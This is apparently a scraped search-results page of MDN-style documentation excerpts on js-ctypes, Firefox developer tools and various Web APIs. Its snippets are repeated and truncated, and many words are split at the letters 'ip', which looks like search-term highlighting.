...oncurrency logic in js-ctypes, so invoking callbacks on other threads will cause things to crash. prerequiste understanding abi functiontype declaring callbacks a callback is declared by using ctypes.functiontype. the first argument is the calling convention, the second argument is the return type, and the third is an array of arguments the callback expects. the return type of the javascr
ipt callback must match the return type declared, otherwise js-ctypes will throw an error saying "unexpected return type". examples example 1 this callback that returns bool and has two arguments. var myfunctypedeclaration = ctypes.functiontype(ctypes.default_abi, ctypes.bool, [ctypes.int, ctypes.voidptr_t]); function myjscallback(cint, cptr) { return true; // as the return of the functiont...
...ed, otherwise js-ctypes will throw an error saying "unexpected return type". examples example 1 this callback that returns bool and has two arguments. var myfunctypedeclaration = ctypes.functiontype(ctypes.default_abi, ctypes.bool, [ctypes.int, ctypes.voidptr_t]); function myjscallback(cint, cptr) { return true; // as the return of the functiontype was ctypes.bool we must make our javascr
ipt callback return bool otherwise js-ctypes will throw error saying unexpected type return } var myccallback = myfunctypedeclaration.ptr(myjscallback); example 2 this callback that returns void and no arguments. when void is the return type, the javascr
ipt callback must not return, or it should return undefined. var myfunctypedeclaration = ctypes.functiontype(ctypes.default_abi, ctypes.void_t,...
...And 2 more matches
ArrayType
ain. if you don't specify this parameter, the array's length is unspecified. return value a ctype represents the newly declared array type. exceptions thrown typeerror type is not a ctype, or type.size is undefined.if the length is specifed but if it is not a valid one,then it is also thrown rangeerror the size of the resulting array can't be represented as both a size_t and as a javascr
ipt number. properties property type descr
iption elementtype ctype the data type of the elements in an array type. read only. length number the number of elements in the array, or undefined if the array type doesn't have a specified length. read only. properties inherited from ctype these properties are available on all ctype objects. ...
...read only. for primitive types, this is just the name of the corresponding c type. for structure and opaque pointer types, this is simply the string that was passed to the constructor. for other function, pointer, and array types, this should be a valid c type expression. ...
...aytype and unsized_arraytype are arraytype ctype. parameters length the number of entries the array type should be able to contain. only for unsized arraytype. return value a cdata representing the newly allocated array. exceptions thrown typeerror length is not provided for unsized array, or is provided for sized array. arraytype cdata properties property type descr
iption length number the length of the array. read only. in addition, each element in the array can be referenced by index using standard bracket notation, such as myarray[index]. properties inherited from cdata property type descr
iption constructor ctype the data type of the cdata object, as a ctype. read only. note: this is never ctyp...
...And 2 more matches
Int64
see 64-bit integers for details. syntax creates and returns a new 64-bit signed integer. int64 int64( value ); parameters value the value to assign the new 64-bit integer object. ...
...see 64-bit integers for details. syntax creates and returns a new 64-bit signed integer. int64 int64( value ); parameters value the value to assign the new 64-bit integer object. ...
...see 64-bit integers for details. syntax creates and returns a new 64-bit signed integer. ...
...And 2 more matches
UInt64
see 64-bit integers for details. syntax creates and returns a new 64-bit unsigned integer. uint64 uint64( value ); parameters value the value to assign the new 64-bit unsigned integer object. ...
...see 64-bit integers for details. syntax creates and returns a new 64-bit unsigned integer. uint64 uint64( value ); parameters value the value to assign the new 64-bit unsigned integer object. ...
...see 64-bit integers for details. syntax creates and returns a new 64-bit unsigned integer. ...
...And 2 more matches
Introduction to DOM Inspector - Firefox Developer Tools
eb development menu in seamonkey, or by selecting the dom inspector menu item from the tools menu in firefox and thunderbird, or by using ctrl/cmd+shift+i in either application. dom inspector is standalone; it supports all toolkit applications, and it's possible to embed it in your own xulrunner app. dom inspector can serve as a sanity check to verify the state of the dom, or it can be used to man
ipulate the dom by hand, if desired. note: starting with firefox 3, the dom inspector is not included in firefox by default; instead, you must download and install it from the mozilla add-ons web site. (note: this is now a dead link.) when you first start the dom inspector, you are presented with a two-pane application window that looks a little like the main mozilla browser. like the browser, the...
...iewer, the rendered versions of those nodes are highlighted in the user interface itself. (note that there are bugs which prevent the flasher from dom inspector apis from working correctly on certain platforms.) if you inspect the main browser window, for example, and select nodes in the dom nodes viewer (other than the elements which have no visible ui as is the case with the endless list of scr
ipt elements that are loaded into browser.xul), you will see the various parts of the browser interface being highlighted with a blinking red border. you can traverse the structure and go from the topmost parts parts of the dom tree to lower level nodes, such as the "search-go-button" icon that lets users perform a query using the selected search engine. now, once you have selected a node like th...
... from this menu and see the various selectors and rules that have been applied. the rule that applies the search icon to the element uses a class simple selector and uses a list-style-image property to point to a file in the current theme. the list of viewers available from the viewer menu gives you some idea about how extensive the dom inspector's inspecting capabilities are. the following descr
iptions provide an overview of what these viewers are about: the dom nodes viewer shows attributes of nodes that can take them, or the text content of text nodes, comments, and processing instructions. the attributes and text contents may also be edited. the box model viewer gives various metrics about xul and html elements, including placement and size. the xbl bindings viewer lists the xbl bind...
...And 2 more matches
Tree map view - Firefox Developer Tools
n of the snapshot, that helps you quickly get an idea of which objects are using the most memory. a treemap displays "hierarchical (tree-structured) data as a set of nested rectangles". the size of the rectangles corresponds to some quantitative aspect of the data. for the treemaps shown in the memory tool, things on the heap are divided at the top level into four categories: objects: javascr
ipt and dom objects, such as function, object, or array, and dom types like window and htmldivelement. scr
ipts: javascr
ipt sources loaded by the page. strings other: this includes internal spidermonkey objects. each category is represented with a rectangle, and the size of the rectangle corresponds to the proportion of the heap occupied by items in that category. this means you can quickly get ...
...udes internal spidermonkey objects. each category is represented with a rectangle, and the size of the rectangle corresponds to the proportion of the heap occupied by items in that category. this means you can quickly get an idea of roughly what sorts of things allocated by your site are using the most memory. within top-level categories: objects is further divided by the object's type. ...
... each category is represented with a rectangle, and the size of the rectangle corresponds to the proportion of the heap occupied by items in that category. this means you can quickly get an idea of roughly what sorts of things allocated by your site are using the most memory. within top-level categories: objects is further divided by the object's type. scr
ipts is further subdivided by the scr
ipt's origin. ...
...And 2 more matches
Edit Shape Paths in CSS - Firefox Developer Tools
this guide walks you through all of the available options. activate / deactivate the shape path editor the shape path editor is accessed via the css rules panel, which can be opened as described in the guide to opening the inspector. once you have selected your element, you should see the shape icon alongside any valid value, e.g. one for shape-outside. clicking the icon will cause the editor to highlight the shape. to deactivate the shape path editor click on the icon again, or select another element or a different editor. ...
... not persist between page reloads -- if you reload your page you will need to select the element again. understanding the lines drawn by the editor once you have selected a shape on your page, the shape path editor will draw lines to help you understand the path that is being created. a solid line shows the outline of the shape that is wrapping the text. this is your shape. if the shape is cl
ipped by the margin box then the margin box will make up part of this line. a dashed line demonstrates the outline of the shape which extends past the margin box reference; this is the area that will be cl
ipped by the margin box. to understand the margin box, and other boxes used by css shapes see our guide to shapes from box values. editing basic shapes the options given to you by the tool wi...
...can use the context menu (ctrl/cmd + click) to access additional functionality. circle() if the value of shape-outside is circle(), you are creating a circle basic shape. clicking on the shapes icon next to the value of circle() will highlight the shape, and also give you the option to resize the circle or move its center. ...
...And 2 more matches
Rich output - Firefox Developer Tools
e. the right-arrow key opens the details of an object and the left-arrow key closes open objects. examining request details similar to examining object details, you can see the details about a network request directly in the console. click on the arrow next to the request and a details panel will open that is equivalent to the headers panel in the network monitor tool. export output to the cl
ipboard once you have output in the console window, you can save it to the cl
ipboard by right-clicking on the output and selecting export visible messages to cl
ipboard: this will copy all of the output to the cl
ipboard. then you can paste it into a document. the output will look something like this: console.log(todolist) array(4) [ {...}, {...}, {...}, {...} ] debugger eval code:1:9 undefined ...
...rd. then you can paste it into a document. the output will look something like this: console.log(todolist) array(4) [ {...}, {...}, {...}, {...} ] debugger eval code:1:9 undefined if you expand objects, such as arrays, you get slightly different content. ...
...og(todolist) array(4) [ {...}, {...}, {...}, {...} ] debugger eval code:1:9 undefined if you expand objects, such as arrays, you get slightly different content. ...
...And 2 more matches
AudioContext.createMediaStreamSource() - Web APIs
the createmediastreamsource() method of the audiocontext interface is used to create a new mediastreamaudiosourcenode object, given a media stream (say, from a mediadevices.getusermedia instance), the audio from which can then be played and man
ipulated. for more details about media stream audio source nodes, check out the mediastreamaudiosourcenode reference page. syntax audiosourcenode = audiocontext.createmediastreamsource(stream); parameters stream a mediastream to serve as an audio source to be fed into an audio processing graph for use and man
ipulation. return value a new mediastreamaudiosourcenode object representing the audio node whose media is obtained from the specified source stream. example in this example, we grab a media (audio + video) stream from navigator.get...
...ly serves as a bass booster), then a audiodestinationnode. the range slider below the <video> element controls the amount of gain given to the lowpass filter -- increase the value of the slider to make the audio sound more bass heavy! note: you can see this example running live, or view the source. ...
...n a audiodestinationnode. the range slider below the <video> element controls the amount of gain given to the lowpass filter -- increase the value of the slider to make the audio sound more bass heavy! note: you can see this example running live, or view the source. ...
...And 2 more matches
BasicCardRequest - Web APIs
the properties of basiccardrequest are defined in the basic card payment spec). properties basiccardrequest.supportednetworks optional secure context an optional array of domstrings representing the card networks that the retailer supports (e.g. "amex", "mastercard"); see card network identifiers for a complete list. if the property is missing, it implies that all networks are supported. obsolete properties these properties have been removed from the payment method: basic card specification and should no longer be used. ...
.... those are: amex cartebancaire diners discover jcb mastercard mir unionpay visa examples in the following example, the paymentrequest() constructor is used to create a new payment request, which takes three objects as parameters -- one containing details of the payment methods that can be used for the payment, one containing details of the actual order (such as items bought and sh
ipping options), and an optional object that describes what data is needed to fullfil the payment (e.g., a sh
ipping address). the first of these three (supportedinstruments in the example below) contains a data property that has to conform to the structure defined by the basiccardrequest dictionary. var supportedinstruments = [{ supportedmethods: 'basic-card', data: { supportednetworks: [...
... // call show() to trigger the browser's payment flow. request.show().then(function(...
...And 2 more matches
CSSCounterStyleRule - Web APIs
a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent cssrule. csscounterstylerule.name is a domstring object that contains the serialization of the <counter-style-name> defined for the associated rule. csscounterstylerule.system is a domstring object that contains the serialization of the system descr
iptor defined for the associated rule. if the descr
iptor was not specified in the associated rule, the attribute returns an empty string. csscounterstylerule.symbols is a domstring object that contains the serialization of the symbols descr
iptor defined for the associated rule. if the descr
iptor was not specified in the associated rule, the attribute returns an empty string. csscounterstylerule.a...
...e attribute returns an empty string. csscounterstylerule.symbols is a domstring object that contains the serialization of the symbols descr
iptor defined for the associated rule. if the descr
iptor was not specified in the associated rule, the attribute returns an empty string. csscounterstylerule.additivesymbols is a domstring object that contains the serialization of the additive-symbols descr
iptor defined for the associated rule. if the descr
iptor was not specified in the associated rule, the attribute returns an empty string. csscounterstylerule.negative is a domstring object that contains the serialization of the negative descr
iptor defined for the associated rule. if the descr
iptor was not specified in the associated rule, the attribute returns an empty string. csscounterstylerule...
...sociated rule, the attribute returns an empty string. csscounterstylerule.negative is a domstring object that contains the serialization of the negative descr
iptor defined for the associated rule. if the descr
iptor was not specified in the associated rule, the attribute returns an empty string. csscounterstylerule.prefix is a domstring object that contains the serialization of the prefix descr
iptor defined for the associated rule. if the descr
iptor was not specified in the associated rule, the attribute returns an empty string. csscounterstylerule.suffix is a domstring object that contains the serialization of the suffix descr
iptor defined for the associated rule. if the descr
iptor was not specified in the associated rule, the attribute returns an empty string. csscounterstylerule.ran...
...And 2 more matches
Canvas tutorial - Web APIs
first introduced in webkit by apple for the os x dashboard, <canvas> has since been implemented in browsers. ...
...w graphs, combine photos, or create simple (and not so simple) animations. the images on this page show examples of <canvas> implementations which will be created in this tutorial. this tutorial describes how to use the <canvas> element to draw 2d graphics, starting with the basics. the examples provided should give you some clear ideas about what you can do with canvas, and will provide code sn
ippets that may get you started in building your own content. first introduced in webkit by apple for the os x dashboard, <canvas> has since been implemented in browsers. today, all major browsers support it. before you start using the <canvas> element is not very difficult, but you do need a basic understanding of html and javascr
ipt. the <canvas> element is not supported in some older browsers,...
...difficult, but you do need a basic understanding of html and javascr
ipt. the <canvas> element is not supported in some older browsers, but is supported in recent versions of all major browsers. the default size of the canvas is 300 pixels x 150 pixels (width x height). but custom sizes can be defined using the html height and width property. in order to draw graphics on the canvas we use a javascr
ipt context object, which creates graphics on the fly. ...
...And 2 more matches
Binary strings - Web APIs
javascr
ipt strings are utf-16 encoded strings. this means that each code unit requires two bytes of memory and is able to represent 65535 different code points. a subset of these strings is represented by utf-16 strings containing only ascii characters (i.e., characters whose code point does not exceed 127). for instance, the string "hello world!" belongs to the ascii subset, while the string "aeiou" does not. a binary string is a concept similar to the ascii subset, but instead of limiting the range to 127, it allows code points until 255. its purpose however is not to represent characters, but binary data. ...
...e string "aeiou" does not. a binary string is a concept similar to the ascii subset, but instead of limiting the range to 127, it allows code points until 255. its purpose however is not to represent characters, but binary data. the size of the data so represented is twice as big as it would be in normal binary format, however this will not be visible to the final user, since the length of javascr
ipt strings is calculated using two bytes as the unit. binary strings are not part of the javascr
ipt language design. however at least one native function requires binary strings as its input, btoa(): invoking it on a string that contains codepoints greater than 255 will cause a character out of range error. the reason that brought to use utf-16 code units as placeholders for uint8 numbers is that...
... in the past, this had to be simulated by treating the raw data as a string and using the charcodeat() method to read the bytes from the data buffer (i.e., using binary strings). ...
...And 2 more matches
Document.createElementNS() - Web APIs
d appends it to the vbox element. ...
...ent. ...
...this particular example is actually an xul document with embedded xhtml, however, the recommendation still applies. specifications specification status...
...And 2 more matches
Document.getElementsByClassName() - Web APIs
etelementsbyclassname() on any element; it will return only elements which are descendants of the specified root element with the given class name(s). syntax var elements = document.getelementsbyclassname(names); // or: var elements = rootelement.getelementsbyclassname(names); elements is a live htmlcollection of found elements. names is a string representing the class name(s) to match; mult
iple class names are separated by whitespace getelementsbyclassname can be called on any element, not only on the document. the element on which it is called will be used as the root of the search. examples get all elements that have a class of 'test': document.getelementsbyclassname('test') get all elements that have both the 'red' and 'test' classes: document.getelementsbyclassname('red tes...
... = array.prototype.filter.call(testelements, function(testelement){ return testelement.nodename === 'div'; }); get the first element whose class is 'test' this is the most commonly used method of operation. ...
...only elements with all of the classnames specified are selected. html <span class="orange fruit">orange fruit</span> <span class="orange juice">orange juice</span> <span class="apple juice">apple juice</span> <span class="foo bar">something r...
...And 2 more matches
Document.querySelector() - Web APIs
selectors); parameters selectors a domstring containing one or more selectors to match. this string must be a valid css selector string; if it isn't, a syntax_err exception is thrown. see locating dom elements using selectors for more about selectors and how to manage them. note: characters that are not part of standard css syntax must be escaped using a backslash character. since javascr
ipt also uses backslash escaping, be especially careful when writing string literals using these characters. see escaping special characters for more information. return value an htmlelement object representing the first element in the document that matches the specified set of css selectors, or null is returned if there are no matches. if you need a list of all elements matching the specified s...
...first element with that id is returned. css pseudo-elements will never return any elements, as specified in the selectors api. escaping special characters to match against an id or selectors that do not follow standard css syntax (by using a colon or space inappropriately, for example), you must escape the character with a backslash ("\"). ...
...ts, as specified in the selectors api. escaping special characters to match against an id or selectors that do not follow standard css syntax (by using a colon or space inappropriately, for example), you must escape the character with a backslash ("\"). ...
...And 2 more matches
Element.scrollHeight - Web APIs
. if the element's content can fit without a need for vertical scrollbar, its scrollheight is equal to clientheight this property will round the value to an integer. if you need a fractional value, use element.getboundingclientrect(). syntax elemscrollheight = element.scrollheight; value an integer corresponding to the scrollheight pixel value of the element. example padding-top lorem
ipsum dolor sit amet, consectetur ad
ipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliqu
ip ex ea commodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident, sunt in culpa qui offic...
....getcomputedstyle(element).overflowy === 'visible' window.getcomputedstyle(element).overflowy !== 'hidden' scrollheight demo associated with the onscroll event, this equivalence can be useful to determine whether a user has read a text or not (see also the element.scrolltop and element.clientheight properties). for example: html <form name="registration"> <p> <textarea id="rules">lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. vestibulum at laoreet magna. aliquam erat volutpat. praesent molestie, dolor ut eleifend aliquam, mi ligula ultrices sapien, quis cursus neque dui nec risus. duis tincidunt lobortis purus eu aliquet. quisque in dignissim magna. aenean ac lorem at velit ultrices consequat. nulla luctus nisi ut libero cursus ultrices. pellentesque nec dignissim enim. ...
...s rutrum dolor, sit amet egestas velit scelerisque id. proin non dignissim nisl. sed mi odio, ullamcorper eget mattis id, malesuada vitae libero. integer dolor lorem, mattis sed dapibus a, faucibus id metus. duis iaculis dictum pulvinar. in nisi nibh, dapibus ac blandit at, porta at arcu. pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. praesent dictum
ipsum aliquet erat eleifend sit amet sollicitudin felis tempus. aliquam congue cursus venenatis. maecenas luctus pellentesque placerat. mauris nisl odio, condimentum sed fringilla a, consectetur id ligula. praesent sem sem, aliquet non faucibus vitae, iaculis nec elit. nullam volutpat, lectus et blandit bibendum, nulla lorem congue turpis, ac pretium tortor sem ut nibh. donec vel mi in ligula hendre...
...And 2 more matches
Using FormData Objects - Web APIs
the formdata object lets you compile a set of key/value pairs to send using xmlhttprequest. it is primarily intended for use in sending form data, but can be used independently from forms in order to transmit keyed data. the transmitted data is in the same format that the form's submit() method would use to send the data if the form's encoding type were set to mult
ipart/form-data. creating a formdata object from scratch you can build a formdata object yourself, instantiating it then appending fields to it by calling its append() method, like this: var formdata = new formdata(); formdata.append("username", "groucho"); formdata.append("accountnum", 123456); // number 123456 is immediately converted to a string "123456" // html file input, chosen by user formdata.append("userfile", filein...
...var blob = new blob([content], { type: "text/xml"}); formdata.append("webmasterfile", blob); var request = new xmlhttprequest(); request.open("post", "http://foo.com/submitform.php"); request.send(formdata); note: the fields "userfile" and "webmasterfile" both contain a file. the number assigned...
...the value is converted to a string). this example builds a formdata instance containing values for fields named "username", "accountnum", "userfile" and "webmasterfile", then uses the xmlhttprequest method send() to send the form's data. the field "webmasterfile" is a blob. a blob object represents a file-like object of immutable, raw data. blobs represent data that isn't necessarily in a javascr
ipt-native format. the file interface is based on blob, inheriting blob functionality and expanding it to support files on the user's system. in order to build a blob you can invoke the blob() constructor. retrieving a formdata object from an html form to construct a formdata object that contains the data from an existing <form>, specify that form element when creating the formdata object: note:...
...And 2 more matches
HTMLSelectElement.selectedOptions - Web APIs
e collection is empty and returns a length of 0. example in this example, a <select> element with a number of options is used to let the user order various food items. ...
... <select id="foods" name="foods" size="7" mult
iple> <option value="1">burrito</option> <option value="2">cheeseburger</option> <option value="3">double bacon burger supreme</option> <option value="4">pepperoni pizza</option> <option value="5">taco</option> </select> <br> <button name="order" id="order"> order now </button> <p id="output"> </p> the <select> element is set to allow mult
iple items to be selected, and it is 7 rows tall. note also the <button>, whose role it is to trigger fetching the htmlcollection of selected elements using the selected property. ...
... <option value="4">pepperoni pizza</option> <option value="5">taco</option> </select> <br> <button name="order" id="order"> order now </button> <p id="output"> </p> the <select> element is set to allow mult
iple items to be selected, and it is 7 rows tall. note also the <button>, whose role it is to trigger fetching the htmlcollection of selected elements using the selected property. ...
...And 2 more matches
HTMLVideoElement.msHorizontalMirror - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. ...
...e large incompatibilities between implementations and the behavior may change in the future. mshorizontalmirror is a read/write property which gets or sets whether a video element is fl
ipped horizontally in the display. this proprietary property is specific to internet explorer and microsoft edge. syntax htmlvideoelement.mshorizontalmirror: boolean; value boolean value set to true fl
ips the video playback horizontally. video perspective is fl
ipped on a horizontal axis - this may be useful for playback of a webcam video, providing the user with better mirroring of their real behaviors (ie. when user moves left, their representation on-screen would move left as well). example var myvideo = document.getelementbyid("videotag1"); myvideo.mshorizontalmirror = true; ...
...ective is fl
ipped on a horizontal axis - this may be useful for playback of a webcam video, providing the user with better mirroring of their real behaviors (ie. when user moves left, their representation on-screen would move left as well). ...
...And 2 more matches
The HTML DOM API - Web APIs
interacting with the contents of 2d images and the context of an html <canvas>, for example to draw on top of them. ...
...specifically. among the things added to document by the html standard are: support for accessing various information provided by the http headers when loading the page, such as the location from which the document was loaded, cookies, modification date, referring site, and so forth. access to lists of elements in the document's <head> block and body, as well as lists of the images, links, scr
ipts, etc. contained in the document. support for interacting with the user by examining focus and by executing commands on editable content. event handlers for document events defined by the html standard to allow access to mouse and keyboard events, drag and drop, media control, and more. event handlers for events that can be delivered to both elements and documents; these presently include onl...
...utelement htmllielement htmllabelelement htmllegendelement htmllinkelement htmlmapelement htmlmediaelement htmlmenuelement htmlmetaelement htmlmeterelement htmlmodelement htmlolistelement htmlobjectelement htmloptgroupelement htmloptionelement htmloutputelement htmlparagraphelement htmlparamelement htmlpictureelement htmlpreelement htmlprogresselement htmlquoteelement htmlscr
iptelement htmlselectelement htmlslotelement htmlsourceelement htmlspanelement htmlstyleelement htmltablecaptionelement htmltablecellelement htmltablecolelement htmltableelement htmltablerowelement htmltablesectionelement htmltemplateelement htmltextareaelement htmltimeelement htmltitleelement htmltrackelement htmlulistelement htmlunknownelement htmlvideoelement deprecated html...
...And 2 more matches
Drag Operations - Web APIs
a using the type text/plain. this data will be a simple textual representation. to set a drag data item within the datatransfer, use the setdata() method. it takes two arguments: the type of data and the data value. for example: event.datatransfer.setdata("text/plain", "text to drag"); in this case, the data value is "text to drag" and is of the format text/plain. you can provide data in mult
iple formats. to do this, call the setdata() method mult
iple times with different formats. you should call it with formats in order from most specific to least specific. const dt = event.datatransfer; dt.setdata("application/x.bookmark", bookmarkstring); dt.setdata("text/uri-list", "https://www.mozilla.org"); dt.setdata("text/plain", "https://www.mozilla.org"); here, data is added in three differ...
...ars centered on the mouse pointer. drag effects when dragging, there are several operations that may be performed. the copy operation is used to indicate that the data being dragged will be copied from its present location to the drop location. the move operation is used to indicate that the data being dragged will be moved, and the link operation is used to indicate that some form of relationsh
ip or connection will be created between the source and drop locations. you can specify which of the three operations are allowed for a drag source by setting the effectallowed property within a dragstart event listener. event.datatransfer.effectallowed = "copy"; in this example, only a copy is allowed. you can combine the values in various ways: none no operation is permitted copy copy o...
... data. thus, the default handling of these events is not to allow a drop. if you want to allow a drop, you must prevent the default handling by cancelling both the dragenter and dragover events. you can do this either by returning false from attribute-defined event listeners, or by calling the event's preventdefault() method. the latter may be more feasible in a function defined in a separate scr
ipt. <div ondragover="return false"> <div ondragover="event.preventdefault()"> calling the preventdefault() method during both a dragenter and dragover event will indicate that a drop is allowed at that location. however, you will commonly wish to call the preventdefault() method only in certain situations (for example, only if a link is being dragged). to do this, call a function which checks a...
...And 2 more matches
Checking when a deadline is due - Web APIs
nt moment. basically, we want to check what the time and date is right now, and then check each stored event to see if any of their deadlines match the current time and date. if they do, we want to let the user know with some kind of notification. this would be easy if we were just comparing two date objects, but of course humans don't want to enter deadline information in the same format javascr
ipt understands. human-readable dates are quite different, with a number of different representations. recording the date information to provide a reasonable user experience on mobile devices, and to cut down on ambiguities, i decided to create an html form with: a text input for entering a title for your to-do list. this is the least avoidable bit of user typing. number inputs for the hour ...
...o notify the user if this was successful or failed.then an objectstore is created into which the new item is added. the notified property of the data object indicates that the to-do list item's deadline has not yet come up and been notified - more on this later! note: the db variable stores a reference to the indexeddb database instance; we can then use various properties of this variable to man
ipulate the data. request.onsuccess = function(event) { note.innerhtml += '<li>new item added to database.</li>'; title.value = ''; hours.value = null; minutes.value = null; day.value = 01; month.value = 'january'; year.value = 2020; }; } this next section creates a log message to say the new item addition is successful, and resets the form s...
... if(+(cursor.value.hours) == hourcheck && +(cursor.value.minutes) == minutecheck && +(cursor.value.day) == daycheck && monthnumber == monthcheck && cursor.value.year == yearcheck && notified == "no") { // if the numbers a...
...And 2 more matches
Media Source API - Web APIs
media source extensions concepts and usage playing video and audio has been available in web applications without plugins for a few years now, but the basic features offered have really only been useful for playing single whole tracks. we can't, for example, combine/split arraybuffers. ...
...ash, with technologies like flash media server serving video streams using the rtmp protocol. the mse standard with media source extensions (mse), this is changing. mse allows us to replace the usual single track src value fed to media elements with a reference to a mediasource object, which is a container for information like the ready state of the media for being played, and references to mult
iple sourcebuffer objects that represent the different chunks of media that make up the entire stream. mse gives us finer grained control over how much and how often content is fetched, and some control over memory usage details, such as when buffers are evicted. it lays the groundwork for adaptive bitrate streaming clients (such as those using dash or hls) to be built on its extensible api. creati...
...sh with a simple static file server, which is also great for cdns. this is in direct contrast with previous streaming solutions that required expensive licenses for proprietary non-standard client/server protocol implementations. the two most common use cases for dash involve watching content "on demand" or "live." on demand allows a developer to take their time transcoding the assets into mult
iple resolutions of various quality. live profile content can introduce latency due to its transcoding and broadcasting, so dash is not suitable for real time communication like webrtc is. it can however support significantly more client connections than webrtc. there are numerous available free and open source tools for transcoding content and preparing it for use with dash, dash file servers, an...
...And 2 more matches
Capabilities, constraints, and settings - Web APIs
figuring this out has often been difficult, and has usually involved looking at some combination of which user agent (or browser) you're running on, which version it is, looking to see if certain objects exist, trying to see whether various things work or not and determining what errors occur, and so forth. the result has been a lot of very fragile code, or a reliance on libraries which figure this stuff out for you, then implement polyfills to patch the holes in the implementation on your behalf. ...
...e): if needed, call mediadevices.getsupportedconstraints() to get the list of supported constraints, which tells you what constrainable properties the browser knows about. this isn't always necessary, since any that aren't known will simply be ignored when you specify them--but if you have any that you can't get by without, you can start by checking to be sure they're on the list. once the scr
ipt knows whether the property or properties it wishes to use are supported, it can then check the capabilities of the api and its implementation by examining the object returned by the track's getcapabilities() method; this object lists each supported constraint and the values or range of values which are supported. finally, the track's applyconstraints() method is called to configure the api as d...
...teria, add its deviceid to the mediaconstraints object that eventually gets passed into getusermedia(). you can also change the constraints of an existing mediastreamtrack on the fly, by calling the track's applyconstraints() method, passing into it an object representing the constraints you wish to apply to the track: videotrack.applyconstraints({ width: 1920, height: 1080 }); in this sn
ippet, the video track referenced by videotrack is updated so that its resolution as closely as possible matches 1920x1080 pixels (1080p high definition). retrieving current constraints and settings it's important to remember the difference between constraints and settings. constraints are a way to specify what values you need, want, and are willing to accept for the various constrainable properti...
...And 2 more matches
Web-based protocol handlers - Web APIs
ster@example.com">web master</a> web authors can use a mailto: link when they want to provide a convenient way for users to send an email, directly from the webpage. when the link is activated, the browser should launch the default desktop application for handling email. you can think of this as a desktop-based protocol handler. web-based protocol handlers allow web-based applications to partic
ipate in the process too. this is becoming more important as more types of applications migrate to the web. in fact, there are many web-based email handling applications that could process a mailto link. registering setting up a web application as a protocol handler is not a difficult process. basically, the web application uses registerprotocolhandler() to register itself with the browser as a po...
...pop up a different notification, indicating that the protocol handler is already registered. therefore, it is a good idea to guard your call to register the protocol handler with a check to see if it is already registered, such as in the example below. ...
...ification, indicating that the protocol handler is already registered. therefore, it is a good idea to guard your call to register the protocol handler with a check to see if it is already registered, such as in the example below. ...
...And 2 more matches
PaymentRequest.show() - Web APIs
ow() method has been called, any other call to show() will by rejected with an aborterror until the returned promise has been concluded, either by being fulfilled with a paymentresponse indicating the results of the payment request, or by being rejected with an error. note: in reality, despite the fact that the specification says this can't be done, some browsers, including firefox, support mult
iple active payment requests at a time. if your architecture doesn't necessarily have all of the data ready to go at the moment it instantiates the payment interface by calling show(), specify the detailspromise parameter, providing a promise that is fulfilled once the data is ready. if this is provided, show() will not allow the user to interact with the payment interface until the promise is ful...
... syntax or the use of show().then().catch() to handle the response and any possible rejection. ...
...ction. ...
...And 2 more matches
PluginArray - Web APIs
note: own properties of pluginarray objects are no longer enumerable in the latest browser versions. properties pluginarray.lengthread only the number of plugins in the array. ...
... specified name. pluginarray.refresh refreshes all plugins on the current page, optionally reloading documents. examples the following example function returns the version of the shockwave flash plugin. ...
...h>descr
iption</th><th>version</th></tr>' +'</thead><tbody></tbody></table>'; var table = document.getelementbyid('plugintable'); for(var i = 0; i < pluginslength; i++) { let newrow = table.insertrow(); newrow.insertcell().textcontent = navigator.plugins[i].name; newrow.insertcell().textcontent = navigator.plugins[i].filename; newrow.insertcell().textcontent = navigator.plugins[i].descr
iption; newrow.insertcell().textcontent = navigator.plugins[i].version?navigator.plugins[i].version:""; } the following example displays information about the installed plugin(s). ...
...And 2 more matches
Multi-touch interaction - Web APIs
g input devices such as pen/stylus and touch screens as well as mouse. the pointer is a hardware-agnostic device that can target a specific set of screen coordinates. having a single event model for pointers can simplify creating web sites, applications and provide a good user experience regardless of the user's hardware. pointer events have many similarities to mouse events but they support mult
iple simultaneous pointers such as mult
iple fingers on a touch screen. this additional feature can be used to provide richer user interaction models but at the cost of additional complexity in the multi-touch interaction handling. this document demonstrates via example code, using pointer events with different multi-touch interactions. a live version of this application is available on github. the ...
... { // the pointerdown event signals the start of a touch interaction. // save this event for later processing (this could be part of a // multi-touch interaction) and update the background color push_event(ev); if (logevents) log("pointerdown: name = " + ev.target.id, ev); update_background(ev); } pointer move the pointermove handler is called when the pointer moves. it may be called mult
iple times (for example, if the user moves the pointer) before a different event type is fired. in this application, a pointer move is represented by the target's border being set to dashed to provide a clear visual indication that the element has received this event. function pointermove_handler(ev) { // note: if the user makes more than one "simultaneous" touch, most browsers // fire at least ...
... solid black"; } application ui the application uses <div> elements for the touch areas and provides buttons to enable logging and to clear the log. to prevent the browser's default touch behavior from overriding this application's pointer handling, the touch-action property is applied to the <body> element. ...
...And 2 more matches
RTCIceCandidatePairStats - Web APIs
airstats is based upon rtcstats and inherits its properties. in addition, it adds the following new properties: availableincomingbitrate optional provides an informative value representing the available inbound capacity of the network by reporting the total number of bits per second available for all of the candidate pair's incoming rtp streams. ...
... bytesreceieved optional the total number of payload bytes received (that is, the total number of bytes received minus any headers, padding, or other administrative overhead) on this candidate pair so far. ...
...ent optional the total number of payload bytes sent (that is, the total number of bytes sent minus any headers, padding, or other administrative overhead) so far on this candidate pair. circuitbreakertriggercount optional an integer value indicating the number of times the circuit-breaker has been triggered for this particular 5-tuple (the set of five values comprising a tcp connection: source
ip address, source port number, destination
ip address, destination port number, and protocol). the circuit breaker is triggered whenever a connection times out or otherwise needs to be automatically aborted. consentexpiredtimestamp optional a domhighrestimestamp value indicating the time at which the most recent stun binding response expired. this value is undefined if no valid stun binding respo...
...And 2 more matches
RTCIceCandidateStats.address - Web APIs
the address property of the rtcicecandidatestats dictionary indicates the address of the ice candidate. while it's preferred that the address be specified as an
ipv4 or
ipv6 numeric address, a fully-qualified domain name can be used as well. when a domain name is specified, the first
ip address selected for that address is used, even if the domain name maps to mult
iple
ip addresses. syntax candidateaddress = rtcicecandidatestats.address; value either an
ipv4 or
